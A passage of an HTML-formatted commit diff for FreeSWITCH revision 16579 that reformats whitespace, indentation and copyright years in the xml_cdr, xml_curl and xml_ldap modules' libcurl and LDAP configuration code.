</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, TRUE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (globals.enable_ssl_verifyhost) {
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
</span><span class="cx">                         }
</span><span class="lines">@@ -363,7 +355,7 @@
</span><span class="cx">                         if (httpRes == 200) {
</span><span class="cx">                                 goto success;
</span><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Got error [%ld] posting to web server [%s]\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Got error [%ld] posting to web server [%s]\n&quot;,
</ins><span class="cx">                                                                   httpRes, globals.urls[globals.url_index]);
</span><span class="cx">                                 globals.url_index++;
</span><span class="cx">                                 switch_assert(globals.url_count &lt;= MAX_URLS);
</span><span class="lines">@@ -449,11 +441,11 @@
</span><span class="cx">         /*.on_hangup */ NULL,
</span><span class="cx">         /*.on_exchange_media */ NULL,
</span><span class="cx">         /*.on_soft_execute */ NULL,
</span><del>-        /*.on_consume_media*/ NULL,
-        /*.on_hibernate*/ NULL,
-        /*.on_reset*/ NULL,
-        /*.on_park*/ NULL,
-        /*.on_reporting*/ my_on_reporting
</del><ins>+        /*.on_consume_media */ NULL,
+        /*.on_hibernate */ NULL,
+        /*.on_reset */ NULL,
+        /*.on_park */ NULL,
+        /*.on_reporting */ my_on_reporting
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_xml_cdr_load)
</span><span class="lines">@@ -477,7 +469,7 @@
</span><span class="cx">         globals.disable100continue = 0;
</span><span class="cx">         globals.pool = pool;
</span><span class="cx">         globals.auth_scheme = CURLAUTH_BASIC;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_create(&amp;globals.log_path_lock, pool);
</span><span class="cx"> 
</span><span class="cx">         /* parse the config */
</span><span class="lines">@@ -558,7 +550,7 @@
</span><span class="cx">                                         globals.auth_scheme = 0;
</span><span class="cx">                                         val++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!strcasecmp(val, &quot;basic&quot;)) {
</span><span class="cx">                                         globals.auth_scheme |= CURLAUTH_BASIC;
</span><span class="cx">                                 } else if (!strcasecmp(val, &quot;digest&quot;)) {
</span><span class="lines">@@ -603,7 +595,7 @@
</span><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         globals.shutdown = 1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_remove_state_handler(&amp;state_handlers);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_curlmod_xml_curlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_curl/mod_xml_curl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -74,14 +74,14 @@
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> typedef struct hash_node {
</span><del>-    switch_hash_t* hash;
-    struct hash_node* next;
</del><ins>+        switch_hash_t *hash;
+        struct hash_node *next;
</ins><span class="cx"> } hash_node_t;
</span><span class="cx"> 
</span><span class="cx"> static struct {
</span><del>-    switch_memory_pool_t* pool;
-    hash_node_t* hash_root;
-    hash_node_t* hash_tail;
</del><ins>+        switch_memory_pool_t *pool;
+        hash_node_t *hash_root;
+        hash_node_t *hash_tail;
</ins><span class="cx"> } globals;
</span><span class="cx"> 
</span><span class="cx"> #define XML_CURL_SYNTAX &quot;[debug_on|debug_off]&quot;
</span><span class="lines">@@ -120,7 +120,7 @@
</span><span class="cx">         config_data-&gt;bytes += realsize;
</span><span class="cx"> 
</span><span class="cx">         if (config_data-&gt;bytes &gt; config_data-&gt;max_bytes) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Oversized file detected [%d bytes]\n&quot;, (int)config_data-&gt;bytes);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Oversized file detected [%d bytes]\n&quot;, (int) config_data-&gt;bytes);
</ins><span class="cx">                 config_data-&gt;err = 1;
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="lines">@@ -154,7 +154,7 @@
</span><span class="cx">         char basic_data[512];
</span><span class="cx">         char *uri = NULL;
</span><span class="cx">         char *dynamic_url = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><span class="cx"> 
</span><span class="cx">         if (!binding) {
</span><span class="lines">@@ -170,7 +170,7 @@
</span><span class="cx"> 
</span><span class="cx">                 return xml;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_snprintf(basic_data, sizeof(basic_data), &quot;hostname=%s&amp;section=%s&amp;tag_name=%s&amp;key_name=%s&amp;key_value=%s&quot;,
</span><span class="cx">                                         hostname, section, switch_str_nil(tag_name), switch_str_nil(key_name), switch_str_nil(key_value));
</span><span class="cx"> 
</span><span class="lines">@@ -198,7 +198,7 @@
</span><span class="cx">                 uri = malloc(strlen(data) + strlen(dynamic_url) + 16);
</span><span class="cx">                 switch_assert(uri);
</span><span class="cx">                 sprintf(uri, &quot;%s%c%s&quot;, dynamic_url, strchr(dynamic_url, '?') != NULL ? '&amp;' : '?', data);
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         switch_uuid_get(&amp;uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &amp;uuid);
</span><span class="lines">@@ -237,7 +237,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (binding-&gt;timeout) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, binding-&gt;timeout);
</span><del>-                        curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
</del><ins>+                        curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (binding-&gt;disable100continue) {
</span><span class="lines">@@ -248,19 +248,19 @@
</span><span class="cx">                 if (binding-&gt;enable_cacert_check) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, TRUE);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (binding-&gt;ssl_cert_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLCERT, binding-&gt;ssl_cert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding-&gt;ssl_key_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLKEY, binding-&gt;ssl_key_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding-&gt;ssl_key_password) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSLKEYPASSWD, binding-&gt;ssl_key_password);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding-&gt;ssl_version) {
</span><span class="cx">                         if (!strcasecmp(binding-&gt;ssl_version, &quot;SSLv3&quot;)) {
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
</span><span class="lines">@@ -268,15 +268,15 @@
</span><span class="cx">                                 curl_easy_setopt(curl_handle, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding-&gt;ssl_cacert_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_CAINFO, binding-&gt;ssl_cacert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (binding-&gt;enable_ssl_verifyhost) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 2);
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 if (binding-&gt;cookie_file) {
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_COOKIEJAR, binding-&gt;cookie_file);
</span><span class="cx">                         curl_easy_setopt(curl_handle, CURLOPT_COOKIEFILE, binding-&gt;cookie_file);
</span><span class="lines">@@ -301,7 +301,8 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error Parsing Result!\n&quot;);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Received HTTP error %ld trying to fetch %s\ndata: [%s]\n&quot;, httpRes, binding-&gt;url, data);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Received HTTP error %ld trying to fetch %s\ndata: [%s]\n&quot;, httpRes, binding-&gt;url,
+                                                          data);
</ins><span class="cx">                         xml = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -359,7 +360,7 @@
</span><span class="cx">                 char *ssl_cacert_file = NULL;
</span><span class="cx">                 uint32_t enable_ssl_verifyhost = 0;
</span><span class="cx">                 char *cookie_file = NULL;
</span><del>-                hash_node_t* hash_node;
</del><ins>+                hash_node_t *hash_node;
</ins><span class="cx">                 int auth_scheme = CURLAUTH_BASIC;
</span><span class="cx">                 need_vars_map = 0;
</span><span class="cx">                 vars_map = NULL;
</span><span class="lines">@@ -381,7 +382,7 @@
</span><span class="cx">                                         auth_scheme = 0;
</span><span class="cx">                                         val++;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!strcasecmp(val, &quot;basic&quot;)) {
</span><span class="cx">                                         auth_scheme |= CURLAUTH_BASIC;
</span><span class="cx">                                 } else if (!strcasecmp(val, &quot;digest&quot;)) {
</span><span class="lines">@@ -442,13 +443,13 @@
</span><span class="cx">                 if (!url) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Binding has no url!\n&quot;);
</span><span class="cx">                         if (vars_map)
</span><del>-                            switch_core_hash_destroy(&amp;vars_map);
</del><ins>+                                switch_core_hash_destroy(&amp;vars_map);
</ins><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (!(binding = malloc(sizeof(*binding)))) {
</span><span class="cx">                         if (vars_map)
</span><del>-                            switch_core_hash_destroy(&amp;vars_map);
</del><ins>+                                switch_core_hash_destroy(&amp;vars_map);
</ins><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">                 memset(binding, 0, sizeof(*binding));
</span><span class="lines">@@ -472,53 +473,53 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 binding-&gt;disable100continue = disable100continue;
</span><del>-                binding-&gt;use_get_style = method != NULL &amp;&amp; strcasecmp(method,&quot;post&quot;) != 0;
</del><ins>+                binding-&gt;use_get_style = method != NULL &amp;&amp; strcasecmp(method, &quot;post&quot;) != 0;
</ins><span class="cx">                 binding-&gt;use_dynamic_url = use_dynamic_url;
</span><span class="cx">                 binding-&gt;enable_cacert_check = enable_cacert_check;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_cert_file) {
</span><span class="cx">                         binding-&gt;ssl_cert_file = strdup(ssl_cert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_key_file) {
</span><span class="cx">                         binding-&gt;ssl_key_file = strdup(ssl_key_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_key_password) {
</span><span class="cx">                         binding-&gt;ssl_key_password = strdup(ssl_key_password);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_version) {
</span><span class="cx">                         binding-&gt;ssl_version = strdup(ssl_version);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (ssl_cacert_file) {
</span><span class="cx">                         binding-&gt;ssl_cacert_file = strdup(ssl_cacert_file);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 binding-&gt;enable_ssl_verifyhost = enable_ssl_verifyhost;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (cookie_file) {
</span><span class="cx">                         binding-&gt;cookie_file = strdup(cookie_file);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 binding-&gt;vars_map = vars_map;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (vars_map) {
</span><del>-                    switch_zmalloc(hash_node,sizeof(hash_node_t));
-                    hash_node-&gt;hash = vars_map;
-                    hash_node-&gt;next = NULL;
-                    
-                    if (!globals.hash_root) {
-                        globals.hash_root = hash_node;
-                        globals.hash_tail = globals.hash_root;
-                    }
-                    
-                    else {
-                        globals.hash_tail-&gt;next = hash_node;
-                        globals.hash_tail = globals.hash_tail-&gt;next;
-                    }
-                        
</del><ins>+                        switch_zmalloc(hash_node, sizeof(hash_node_t));
+                        hash_node-&gt;hash = vars_map;
+                        hash_node-&gt;next = NULL;
+
+                        if (!globals.hash_root) {
+                                globals.hash_root = hash_node;
+                                globals.hash_tail = globals.hash_root;
+                        }
+
+                        else {
+                                globals.hash_tail-&gt;next = hash_node;
+                                globals.hash_tail = globals.hash_tail-&gt;next;
+                        }
+
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Binding [%s] XML Fetch Function [%s] [%s]\n&quot;,
</span><span class="lines">@@ -541,7 +542,7 @@
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><del>-        memset(&amp;globals,0,sizeof(globals));
</del><ins>+        memset(&amp;globals, 0, sizeof(globals));
</ins><span class="cx">         globals.pool = pool;
</span><span class="cx">         globals.hash_root = NULL;
</span><span class="cx">         globals.hash_tail = NULL;
</span><span class="lines">@@ -562,15 +563,15 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_xml_curl_shutdown)
</span><span class="cx"> {
</span><del>-        hash_node_t* ptr = NULL;
</del><ins>+        hash_node_t *ptr = NULL;
</ins><span class="cx"> 
</span><del>-        while(globals.hash_root) {
-            ptr = globals.hash_root;
-            switch_core_hash_destroy(&amp;ptr-&gt;hash);
-            globals.hash_root = ptr-&gt;next;
-            switch_safe_free(ptr);
</del><ins>+        while (globals.hash_root) {
+                ptr = globals.hash_root;
+                switch_core_hash_destroy(&amp;ptr-&gt;hash);
+                globals.hash_root = ptr-&gt;next;
+                switch_safe_free(ptr);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_xml_unbind_search_function_ptr(xml_url_fetch);
</span><span class="cx">         curl_global_cleanup();
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_ldaplutil_ldaph"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/lutil_ldap.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -23,36 +23,23 @@
</span><span class="cx">  * Include file for lutil LDAP routines
</span><span class="cx">  */
</span><span class="cx"> 
</span><del>-LDAP_BEGIN_DECL
</del><ins>+LDAP_BEGIN_DECL LDAP_LUTIL_F(void)
+         lutil_sasl_freedefs LDAP_P((void *defaults));
</ins><span class="cx"> 
</span><del>-LDAP_LUTIL_F( void )
-lutil_sasl_freedefs LDAP_P((
-        void *defaults ));
</del><ins>+LDAP_LUTIL_F(void *)
+         lutil_sasl_defaults LDAP_P((LDAP * ld, char *mech, char *realm, char *authcid, char *passwd, char *authzid));
</ins><span class="cx"> 
</span><del>-LDAP_LUTIL_F( void * )
-lutil_sasl_defaults LDAP_P((
-        LDAP *ld,
-        char *mech,
-        char *realm,
-        char *authcid,
-        char *passwd,
-        char *authzid ));
</del><ins>+LDAP_LUTIL_F(int)
+         lutil_sasl_interact LDAP_P((LDAP * ld, unsigned flags, void *defaults, void *p));
</ins><span class="cx"> 
</span><del>-LDAP_LUTIL_F( int )
-lutil_sasl_interact LDAP_P((
-        LDAP *ld, unsigned flags, void *defaults, void *p ));
-
</del><span class="cx"> LDAP_END_DECL
</span><del>-
</del><span class="cx"> #endif /* _LUTIL_LDAP_H */
</span><del>-
-typedef struct lutil_sasl_defaults_s {
-    char *mech;
-    char *realm;
-    char *authcid;
-    char *passwd;
-    char *authzid;
-    char **resps;
-    int nresps;
-} lutilSASLdefaults;
-
</del><ins>+         typedef struct lutil_sasl_defaults_s {
+                 char *mech;
+                 char *realm;
+                 char *authcid;
+                 char *passwd;
+                 char *authzid;
+                 char **resps;
+                 int nresps;
+         } lutilSASLdefaults;
</ins></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_ldapmod_xml_ldapc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -111,7 +111,8 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t xml_ldap_result(void *ldap_connection, xml_binding_t *binding, switch_xml_t *xml, int *off, const xml_ldap_query_type_t query_type)
</del><ins>+static switch_status_t xml_ldap_result(void *ldap_connection, xml_binding_t *binding, switch_xml_t *xml, int *off,
+                                                                           const xml_ldap_query_type_t query_type)
</ins><span class="cx"> {
</span><span class="cx">         switch (query_type) {
</span><span class="cx">         case XML_LDAP_DIRECTORY:
</span><span class="lines">@@ -334,7 +335,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        if ((ldap-&gt;ld = (LDAP*)ldap_init(binding-&gt;host, LDAP_PORT)) == NULL) {
</del><ins>+        if ((ldap-&gt;ld = (LDAP *) ldap_init(binding-&gt;host, LDAP_PORT)) == NULL) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unable to connect to ldap server.%s\n&quot;, binding-&gt;host);
</span><span class="cx">                 goto cleanup;
</span><span class="cx">         }
</span><span class="lines">@@ -343,7 +344,7 @@
</span><span class="cx">                 goto cleanup;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        ldap_set_option( ldap-&gt;ld, LDAP_OPT_X_SASL_SECPROPS, &amp;ldap-&gt;sp );
</del><ins>+        ldap_set_option(ldap-&gt;ld, LDAP_OPT_X_SASL_SECPROPS, &amp;ldap-&gt;sp);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -353,8 +354,11 @@
</span><span class="cx">                         goto cleanup;
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                if (ldap_sasl_interactive_bind_s(ldap-&gt;ld, NULL, binding-&gt;defaults-&gt;mech, NULL, NULL, (unsigned)(intptr_t)LDAP_SASL_SIMPLE, lutil_sasl_interact, binding-&gt;defaults ) != LDAP_SUCCESS) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unable to sasl_bind to ldap server %s as %s\n&quot;, binding-&gt;host, binding-&gt;defaults-&gt;authcid);
</del><ins>+                if (ldap_sasl_interactive_bind_s
+                        (ldap-&gt;ld, NULL, binding-&gt;defaults-&gt;mech, NULL, NULL, (unsigned) (intptr_t) LDAP_SASL_SIMPLE, lutil_sasl_interact,
+                         binding-&gt;defaults) != LDAP_SUCCESS) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Unable to sasl_bind to ldap server %s as %s\n&quot;, binding-&gt;host,
+                                                          binding-&gt;defaults-&gt;authcid);
</ins><span class="cx">                         goto cleanup;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -459,8 +463,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (!binding-&gt;basedn || !binding-&gt;filter) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                          &quot;You must define \&quot;basedn\&quot;, and \&quot;filter\&quot; in mod_xml_ldap.conf.xml\n&quot;);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;You must define \&quot;basedn\&quot;, and \&quot;filter\&quot; in mod_xml_ldap.conf.xml\n&quot;);
</ins><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_ldapmod_xml_ldapv2c"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -77,12 +77,12 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_t xml_ldap_search(const char *section, const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
</span><del>-                                    void *user_data);
</del><ins>+                                                                        void *user_data);
</ins><span class="cx"> 
</span><span class="cx"> static switch_status_t trydir(switch_xml_t *, int *, LDAP *, char *, char *, xml_binding_t *);
</span><span class="cx"> static switch_status_t do_config(void);
</span><del>-static switch_status_t trysearch( switch_xml_t *pxml, int *xoff, LDAP *ld, char *basedn, char *filter);
-void rec( switch_xml_t *, int*, LDAP *ld, char *);
</del><ins>+static switch_status_t trysearch(switch_xml_t *pxml, int *xoff, LDAP * ld, char *basedn, char *filter);
+void rec(switch_xml_t *, int *, LDAP * ld, char *);
</ins><span class="cx"> 
</span><span class="cx"> #define XML_LDAP_SYNTAX &quot;&quot;
</span><span class="cx"> 
</span><span class="lines">@@ -115,9 +115,10 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t do_config(void) {
</del><ins>+static switch_status_t do_config(void)
+{
</ins><span class="cx">         char *cf = &quot;xml_ldap.conf&quot;;
</span><del>-        switch_xml_t cfg, xml, bindings_tag, binding_tag, param,tran;
</del><ins>+        switch_xml_t cfg, xml, bindings_tag, binding_tag, param, tran;
</ins><span class="cx">         xml_binding_t *binding = NULL;
</span><span class="cx">         xml_ldap_attribute_t *attr_list = NULL;
</span><span class="cx">         int x = 0;
</span><span class="lines">@@ -149,14 +150,14 @@
</span><span class="cx">                         if (!strcasecmp(var, &quot;filter&quot;)) {
</span><span class="cx">                                 binding-&gt;bindings = (char *) switch_xml_attr_soft(param, &quot;bindings&quot;);
</span><span class="cx"> 
</span><del>-                                if (!strncmp(binding-&gt;bindings, &quot;configuration&quot;,strlen(binding-&gt;bindings))) {
</del><ins>+                                if (!strncmp(binding-&gt;bindings, &quot;configuration&quot;, strlen(binding-&gt;bindings))) {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;setting type XML_LDAP_CONFIG\n&quot;);
</span><span class="cx">                                         binding-&gt;bt = XML_LDAP_CONFIG;
</span><del>-                                } else if (!strncmp(binding-&gt;bindings, &quot;directory&quot;,strlen(binding-&gt;bindings))) {
</del><ins>+                                } else if (!strncmp(binding-&gt;bindings, &quot;directory&quot;, strlen(binding-&gt;bindings))) {
</ins><span class="cx">                                         binding-&gt;bt = XML_LDAP_DIRECTORY;
</span><del>-                                } else if (!strncmp(binding-&gt;bindings, &quot;dialplain&quot;,strlen(binding-&gt;bindings))) {
</del><ins>+                                } else if (!strncmp(binding-&gt;bindings, &quot;dialplain&quot;, strlen(binding-&gt;bindings))) {
</ins><span class="cx">                                         binding-&gt;bt = XML_LDAP_DIALPLAN;
</span><del>-                                } else if (!strncmp(binding-&gt;bindings, &quot;phrases&quot;,strlen(binding-&gt;bindings))) {
</del><ins>+                                } else if (!strncmp(binding-&gt;bindings, &quot;phrases&quot;, strlen(binding-&gt;bindings))) {
</ins><span class="cx">                                         binding-&gt;bt = XML_LDAP_PHRASE;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -176,72 +177,72 @@
</span><span class="cx"> 
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                if ( binding &amp;&amp; binding-&gt;bt == XML_LDAP_DIRECTORY ) {
</del><ins>+                if (binding &amp;&amp; binding-&gt;bt == XML_LDAP_DIRECTORY) {
</ins><span class="cx">                         attr_list = malloc(sizeof(*attr_list));
</span><del>-                        attr_list = memset(attr_list,0,sizeof(*attr_list));
</del><ins>+                        attr_list = memset(attr_list, 0, sizeof(*attr_list));
</ins><span class="cx">                         binding-&gt;attr_list = attr_list;
</span><span class="cx"> 
</span><span class="cx">                         param = switch_xml_child(binding_tag, &quot;trans&quot;);
</span><del>-                        for ( tran = switch_xml_child(param, &quot;tran&quot;); tran; tran = tran-&gt;next) {
</del><ins>+                        for (tran = switch_xml_child(param, &quot;tran&quot;); tran; tran = tran-&gt;next) {
</ins><span class="cx">                                 char *n = (char *) switch_xml_attr_soft(tran, &quot;name&quot;);
</span><span class="cx">                                 char *m = (char *) switch_xml_attr_soft(tran, &quot;mapfrom&quot;);
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot; adding map %s =&gt; %s\n&quot;, m , n);
-                                if (!strncasecmp(&quot;id&quot;,n,strlen(n))) {
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot; adding map %s =&gt; %s\n&quot;, m, n);
+                                if (!strncasecmp(&quot;id&quot;, n, strlen(n))) {
</ins><span class="cx">                                         attr_list-&gt;type = LDAP_EXTEN_ID;
</span><span class="cx">                                         attr_list-&gt;len = strlen(m);
</span><span class="cx">                                         attr_list-&gt;val = strdup(m);
</span><span class="cx">                                         attr_list-&gt;next = malloc(sizeof(*attr_list));
</span><del>-                                        attr_list-&gt;next = memset(attr_list-&gt;next,0,sizeof(*attr_list));
</del><ins>+                                        attr_list-&gt;next = memset(attr_list-&gt;next, 0, sizeof(*attr_list));
</ins><span class="cx">                                         attr_list = attr_list-&gt;next;
</span><del>-                                } else if ( !strncasecmp(&quot;mailbox&quot;,n,strlen(n))) {
-                    attr_list-&gt;type = LDAP_EXTEN_VM_MAILBOX;
-                    attr_list-&gt;len = strlen(m);
-                    attr_list-&gt;val = strdup(m);
-                    attr_list-&gt;next = malloc(sizeof(*attr_list));
-                    attr_list-&gt;next = memset(attr_list-&gt;next,0,sizeof(*attr_list));
-                    attr_list = attr_list-&gt;next;
-                } else if ( !strncasecmp(&quot;password&quot;,n,strlen(n))) {
-                    attr_list-&gt;type = LDAP_EXTEN_PASSWORD;
-                    attr_list-&gt;len = strlen(m);
-                    attr_list-&gt;val = strdup(m);
-                    attr_list-&gt;next = malloc(sizeof(*attr_list));
-                    attr_list-&gt;next = memset(attr_list-&gt;next,0,sizeof(*attr_list));
-                    attr_list = attr_list-&gt;next;
-                } else if ( !strncasecmp(&quot;vm-password&quot;,n,strlen(n))) {
